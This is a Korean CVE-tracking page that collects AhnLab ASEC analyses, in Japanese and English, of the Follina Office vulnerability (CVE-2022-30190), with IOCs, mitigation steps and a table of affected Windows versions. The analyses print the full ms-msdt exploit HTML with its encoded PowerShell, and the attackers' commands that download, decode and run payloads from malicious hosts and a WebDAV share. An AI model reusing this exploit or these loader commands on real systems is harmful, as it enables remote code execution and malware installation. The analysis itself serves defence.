5月31日、ASEC 分析チームは本ブログで MS Office のドキュメントファイルのゼロデイ脆弱性である Follina について迅速に取り上げて紹介した。この脆弱性についてのパッチはまだ配布されていないため、ユーザーは以降も注意しなければいけない状況である。 注意! MS Office のゼロデイ脆弱性 Follina (CVE-2022-30190) AhnLab はこの脆弱性を利用した攻撃の試みに対するファイル検知、行為検知の観点から、検知ルールを配布した状態である。そのため、様々な当社の製品群(V3、MDS、EDR)で検知が可能である。このような攻撃の試みに対するモニタリングを行っていたところ、6月7日に韓国国内のユーザーをターゲットとした拡散状況が、当社 ASD(Ahnlab Smart Defence)インフラを通して確認された。V3 Lite 4.0 製品を使用しているユーザーであり、「 抗菌フィルム提案書 1-1.docx 」という名前で拡散していることが分かっている。 図1) ASD インフラから収集された脆弱性攻撃のログ 当該ファイルは、すでに共有しているように msdt.exe を利用した遠隔プロセスによって実行され、Windows の正常なプログラムである Powershell.exe と CertUtil.exe を使い、暗号化されたスクリプトをダウンロードして復号化した後、再び Powershell.exe を使って、実行中の explorer.exe にインジェクションして不正な振る舞いを行う。詳しい実行内容は以下の通りである。 図2) 脆弱性が使われたドキュメントの実行時における msdt.exe 実行コマンド 疑うことなく CVE-2022-30190 脆弱性が使われた「 抗菌フィルム提案書 1-1.docx 」という名前の Word ドキュメントを実行すると、上記の図のように遠隔コマンドが実行される。 // 上記の図における復号化されたコードの一部 "c:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell iwr -outf %tmp%\api.txt http://micronannox[.]com//b.txt & certutil -decode %tmp%\api.txt %tmp%\apis.ps1"; Start-Sleep 3; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser & powershell %tmp%\apis.ps1 上記の脆弱性によって実行されたコードの実行順序を簡単に示すと以下のようになる。 Powershell.exe は hxxp://micronannox[.]com/b.txt を %tmp%api.txt に保存する。 api.txt を Certutil.exe を利用して apis.ps1 に復号化する。 隠し属性とスクリプト実行権限を与えて復号化した apis.ps1 を実行する。 apis.ps1 の機能をシェルコードを実行している explorer.exe にインジェクションし、インジェクションされたシェルコードは追加で暗号化されたデータを hxxp://micronannox[.]com/imei.omg から C:\Users\Public\no1.png パスにダウンロードし、xor で復号化する。 最終的に復号化されたファイルは実行ファイルであり、追加でバックドアファイルをダウンロードする。 図3) apis.ps1 コードの一部 AhnLab のセキュリティ製品は、最新の脆弱性を持つドキュメントファイルについて、以下のように検知している。 AhnLab EDR 検知 図5) winword.exe -> msdt.exe の不正な実行検知 図6) 疑わしい powershell.exe の実行検知 この脆弱性と関連したファイルを検知するために反映したルールの検知ログにおいて、6月2日に「2023 DOHA EXPO」をターゲットにしたドキュメント( VIP Invitation to Doha Expo 2023.docx )が相次いで確認されたため、これについて紹介する。 Word ファイルの実行時、内部の document.xml.rels とつながっている External URL からデータのダウンロードを試みるが、この時にもユーザーを巧みに欺くためにダウンロード URL も「2023 DOHA EXPO」と関連したアドレスを利用することが分かっている。 hxxps://files.attend-doha-expo[.]com/inv.html 以下の図7、図8のように、Word 本文の内容は DOHA EXPO の招待状に偽装している。 図7) Word 実行時に確認できる外部 URL へのアクセスの試みの画面 図8) Word 本文の内容 検知ログのモニタリング過程において、2つのWord ドキュメントが確認されたが、それぞれファイルの内部に document.xml.rels の External タグに存在する URL が同じであることから、タグ配置の構造上、若干の変化が加えられていることが確認された。 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> (..省略..) <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://files.attend-doha-expo[.]com/inv.html!" TargetMode="External" /> (..省略..) </Relationships> HTML ファイルは、すでに公開された PoC コードの形態と同じように、上段の内容は長いテキスト(AAA~)でコメントアウトされているが、下段は PowerShell コードが Base64 でエンコードされていることが確認でき、これをデコードすると以下のようになる。 前回の記事で、ms-msdt を通して攻撃者が意図したコードの実行が可能なため様々な攻撃ができると紹介したが、「2023 DOHA EXPO 招待状」に偽装した Word ドキュメントと関連した 当該 HTML では、CobaltStrike のペイロードをダウンロードできるコードが存在 していた。 [ 外部リンク参照 ] MalwareHunterTeam @malwrhunterteam Any.Run Sandbox 図9) 外部 URL からダウンロードされる HTML ファイル(inv.html) $cmd="C:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224[.]233\webdav\ /user:user `$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete "; 公式パッチが配布されるまでは MSDT URL プロトコルを無効にするといった方法で一時的な処置が可能である。 AhnLab では以下のような検知名でこの脆弱性のファイルおよび行為の検知が可能である。 ファイル検知名 Exploit/HTML.CVE-2022-30190.S1841 Exploit/XML.CVE-2022-30190.S1842 Exploit/DOC.CVE-2022-30190 Downloader/DOC.External 行為検知名 Behavior/MDP.Event.M4313 [IOC] hxxps://files.attend-doha-expo[.]com/inv.html hxxp://micronannox[.]com/b.txt hxxp://micronannox[.]com/imei.omg hxxp://micronannox[.]com/slid.html 85829b792aa3a5768de66beacdb0a0ce 7c4ee39de1b67937a26c9bc1a7e5128b 4e7fc2acd66d87c7a439b49196899001 35a20a3ace9f59456a75f469186d2d19 963cc5bd71dc0412941bfc336100ec94 hxxp://5.206.224[.]233 hxxp://23.106.122[.]13 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

ASEC Follina Vulnerability (CVE-2022-30190) Attack Using &#8216;Antimicrobial Film Request&#8217; File 2022-06-15

원문 보기

On June 7th, the ASEC analysis team swiftly uploaded a brief introduction of a zero-day vulnerability for Microsoft Office files (Follina). As the patch for the vulnerability is not distributed yet, users are advised to take caution. Caution! Microsoft Office Zero-day Vulnerability Follina (CVE-2022-30190) AhnLab has distributed a detection rule for attack attempts exploiting the vulnerability from the perspectives of file and behavior detections. The vulnerability can be detected by various AhnLab products (V3, MDS, and EDR). While the team was monitoring such attack attempts, a distribution case targeting Korean users was found in the ASD (Ahnlab Smart Defense) infrastructure on June 7th. The log below is V3 Lite 4.0 and the attack distributed a file named ‘ Antimicrobial Film Request 1-1.docx ‘. Figure 1. Vulnerability attack log collected by the ASD infrastructure As the post mentioned above explains, the file runs a remote process using msdt.exe to exploit normal Windows programs Powershell.exe and CertUtil.exe, which are for downloading and decrypting encrypted scripts. It then uses Powershell.exe again to inject the shellcode into the currently running explorer.exe to perform malicious behaviors. The following part offers a more detailed explanation. Figure 2. Command for running msdt.exe when the file with the vulnerability is opened Opening a Word file named ‘ Antimicrobial Film Request 1-1.docx ‘ that is using the CVE-2022-30190 vulnerability executes a remote command as shown above. // Part of decoded figure above "c:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell iwr -outf %tmp%\api.txt http://micronannox[.]com//b.txt & certutil -decode %tmp%\api.txt %tmp%\apis.ps1"; Start-Sleep 3; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser & powershell %tmp%\apis.ps1 The following shows a brief execution process of the code run by the vulnerability. Powershell.exe saves hxxp://micronannox[.]com/b.txt as %tmp%api.txt. api.txt is decrypted as apis.ps1 using Certutil.exe. The decrypted apis.ps1 is executed after being imbued with properties for being hidden and running scripts. apis.ps1 injects the shellcode into the currently running explorer.exe. The injected shellcode downloads additional encrypted data from hxxp://micronannox[.]com/imei.omg to the C:\Users\Public\no1.png path and decrypts it with xor. The file that is ultimately decrypted is an executable that additionally downloads backdoor files. Figure 3. Part of the code for apis.ps1 AhnLab products detect and block the Word files using the latest vulnerability with the following aliases. V3 Behavior Detection Figure 4. AhnLab V3 detecting the abnormal execution of msdt.exe AhnLab EDR Detection Figure 5. Detecting the abnormal execution of winword.exe -> msdt.exe Figure 6. Detecting the abnormal execution of a suspicious powershell.exe The detection log of the rule applied to detect files related to the vulnerability also discovered a file targeting the 2023 Doha Expo (VIP Invitation to Doha Expo 2023.docx) on June 2nd, which will be discussed below. The file attempts to download data from the external URL connected to the internal document.xml.rels. To trick users, it uses the download URL related to the expo. hxxps://files.attend-doha-expo[.]com/inv.html Figures 7 and 8 show how the Word file is disguised as an invitation to the Doha Expo. Figure 7. Word file attempting to connect the external URL upon being run Figure 8. Word file The analysis team discovered two Word files while monitoring detection logs. Each file’s URL existing in the external tag of document.xml.rels within the file is the same, but the tag placement is slightly changed. <em><?xml version="1.0" encoding="UTF-8" standalone="yes"?></em> (..omitted..) <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://files.attend-doha-expo[.]com/inv.html!" TargetMode="External" /> (..omitted..) </Relationships> The HTML file has a long annotation (AAA…) in the upper part just like the PoC code that was previously revealed. However, the lower part has a Base64-encoded powershell code. The figure below shows the decoded code. The previous blog post mentioned the possibility of various attacks as the attackers can execute codes they intend to run. As for the HTML related to the Word file disguised as ‘2023 Doha Expo Invitation,’ there is a code that can download the payload of Cobalt Strike. [Reference] MalwareHunterTeam @malwrhunterteam Any.Run Sandbox Figure 9. HTML file (inv.html) downloaded from an external URL $cmd="C:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224[.]233\webdav\ /user:user `$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete "; Until an official patch is released, you can apply a temporary measure by disabling the MSDT URL protocol. AhnLab can detect the vulnerable file and its behaviors with the following aliases: [File Alias] Exploit/HTML.CVE-2022-30190.S1841 Exploit/XML.CVE-2022-30190.S1842 Exploit/DOC.CVE-2022-30190 Downloader/DOC.External [Behavior Alias] Behavior/MDP.Event.M4313 [IOC] hxxps://files.attend-doha-expo[.]com/inv.html hxxp://micronannox[.]com/b.txt hxxp://micronannox[.]com/imei.omg hxxp://micronannox[.]com/slid.html 85829b792aa3a5768de66beacdb0a0ce 7c4ee39de1b67937a26c9bc1a7e5128b 4e7fc2acd66d87c7a439b49196899001 35a20a3ace9f59456a75f469186d2d19 963cc5bd71dc0412941bfc336100ec94 hxxp://5.206.224[.]233 hxxp://23.106.122[.]13 Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.

ASEC 注意!MS Office のゼロデイ脆弱性 Follina (CVE-2022-30190) 2022-06-07

원문 보기

Follina と呼ばれる新たな脆弱性 CVE-2022-30190 が公開された。Microsoft によると、この脆弱性は Word のような呼び出しアプリケーションで、URL プロトコルを使用して MSDT を呼び出す際に、遠隔コードが実行される脆弱性が発生する。この脆弱性が発生すると、呼び出しアプリケーションの権限において任意のコードを実行でき、追加プログラムのインストール、またはデータの確認や変更および削除が可能になる。 1. 脆弱性のマルウェアの例 この脆弱性が確認された Word ドキュメントでは、既知の方法の External タグに作成された URL に接続して、脆弱性を発生させる HTML ファイルがダウンロードおよび実行されることで発生していた。(現在はこの URL が無効になっているため、追加の動作は行われない)Word が実行されると同時に、当該 URL にアクセスしてダウンロードされた HTML の MSDT が呼び出され、脆弱性が発生することで不正なコードの実行が可能になる。 [図1] – Word ドキュメント内の External タグ URL への接続の試み [図2] – document.xml.rels の内容 外部資料 (英文で提供)に公開された上記の RDF8421.html の内容は、以下のコードの通りであり、注釈の下部に ms-msdt を実行させるコードが挿入されている。このように ms-msdt を通して、攻撃者が意図したコードの実行が可能になり、それにより様々な攻撃が可能になる。 <!doctype html> <html lang="en"> <body> <script> //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -- 中略 -- //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""; </script> </body> </html> 2. 脆弱性の対応方法 Microsoft から公開 (英文で提供)された対応方法は以下の通りである。 MSDT URL プロトコルの無効化 1. コマンドプロトコル(cmd.exe)を管理者として実行 2. レジストリキーをバックアップするために 「reg export HKEY_CLASSES_ROOT\ms-msdt filename 」 コマンドの実行 3. 「reg delete HKEY_CLASSES_ROOT\ms-msdt /f」 コマンドの実行 3. AhnLab 製品の対応 状況 AhnLab では以下のような検知名でこの脆弱性のファイルおよび行為の検知が可能である。 (ファイル検知名) Exploit/HTML.CVE-2022-30190.S1841 (行為検知名) Behavior/MDP.Event.M4313 [IOC] hxxps://www.xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l.html 52945af1def85b171870b31fa4782e52 d1fe26b84043ac11fa5ddb90906e6d56 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。 参考1) https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug 参考2) https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

ASEC Caution! Microsoft Office Zero-day Vulnerability Follina (CVE-2022-30190) 2022-05-31

원문 보기

A new vulnerability named Follina (CVE-2022-30190) has been revealed. According to Microsoft, it is a remote code execution vulnerability that occurs when the URL protocol is used to call MSDT in calling applications such as Microsoft Word. With the privileges of the calling application, attackers can run arbitrary codes, install additional programs, and view, change or delete data. 1. Vulnerability Malware Example The vulnerability occurs when a Word file downloads and runs an HTML file responsible for the vulnerability through the URL connection written in the external tag, a method that has been previously known (as the URL is currently invalid, additional operations do not work). As soon as the Word file with the vulnerability is opened, it accesses the URL and calls the MSDT of the downloaded HTML to execute malicious codes. The details of above RDF8421.html file shares the same code shown below and has a code that executes ms-msdt. By running ms-msdt, various attacks can be made possible according to the attacker’s intention. <!doctype html> <html lang="en"> <body> <script> //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -- omitted -- //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""; </script> </body> </html> 2. Response to Vulnerability Microsoft posted the following response for the vulnerability. Disabling the MSDT URL protocol 1. Run command prompt (cmd.exe) as administrator 2. Execute “reg export HKEY_CLASSES_ROOT\ms-msdt filename ” to back up the registry key 3. Execute the command “reg delete HKEY_CLASSES_ROOT\ms-msdt\f” 3. AhnLab Products Response Status AhnLab can detect the vulnerable file and its behaviors with the following aliases: (File alias) Exploit/HTML.CVE-2022-30190.S1841 (Behavior alias) Behavior/MDP.Event.M4313 Reference 1. https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug Reference 2. https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ MD5 52945af1def85b171870b31fa4782e52 d1fe26b84043ac11fa5ddb90906e6d56 URL https[:]//www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l[.]html

자동 추천 장비와 근거 참고용

추천할 매핑이 없습니다.

취약점 종류 CWE

영향받는 제품 CPE · 17건
제조사제품영향받는 버전표준 표기CPE
microsoftwindows_10_1507 10.0.10240.19325 미만 cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*
microsoftwindows_10_1607 10.0.14393.5192 미만 cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*
microsoftwindows_10_1809 10.0.17763.3046 미만 cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
microsoftwindows_10_20h2 10.0.19042.1766 미만 cpe:2.3:o:microsoft:windows_10_20h2:*:*:*:*:*:*:*:*
microsoftwindows_10_21h1 10.0.19043.1766 미만 cpe:2.3:o:microsoft:windows_10_21h1:*:*:*:*:*:*:*:*
microsoftwindows_10_21h2 10.0.19044.1766 미만 cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
microsoftwindows_11_21h2 10.0.22000.739 미만 cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
microsoftwindows_7 cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
microsoftwindows_8.1 cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
microsoftwindows_rt_8.1 cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
microsoftwindows_server_2008 cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*
microsoftwindows_server_2012 cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
microsoftwindows_server_2012 cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
microsoftwindows_server_2016 10.0.14393.5192 미만 cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*
microsoftwindows_server_2019 10.0.17763.3046 미만 cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
microsoftwindows_server_2022 10.0.20348.770 미만 cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
microsoftwindows_server_20h2 10.0.19042.1766 미만 cpe:2.3:o:microsoft:windows_server_20h2:*:*:*:*:*:*:*:*
참고 링크 4건
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
CVE 취약점 번호
공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
CVSS 위험도 점수
취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
EPSS 악용 가능성
앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
KEV 실제 악용 확인
미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
공격 코드 공개된 PoC
NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
NVD 미국 취약점 DB
미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
우선순위 이 사이트의 참고 점수
CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
ASEC 안랩 분석 글
안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
CWE 취약점 종류
취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
CPE 영향받는 제품
취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
KB Microsoft 업데이트 번호
Microsoft 가 업데이트마다 붙이는 번호입니다. 예: KB5068791. '수정된 버전' 은 업데이트 후의 빌드 번호로, 이보다 낮으면 업데이트가 필요합니다.
시나리오 · 번역
'시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.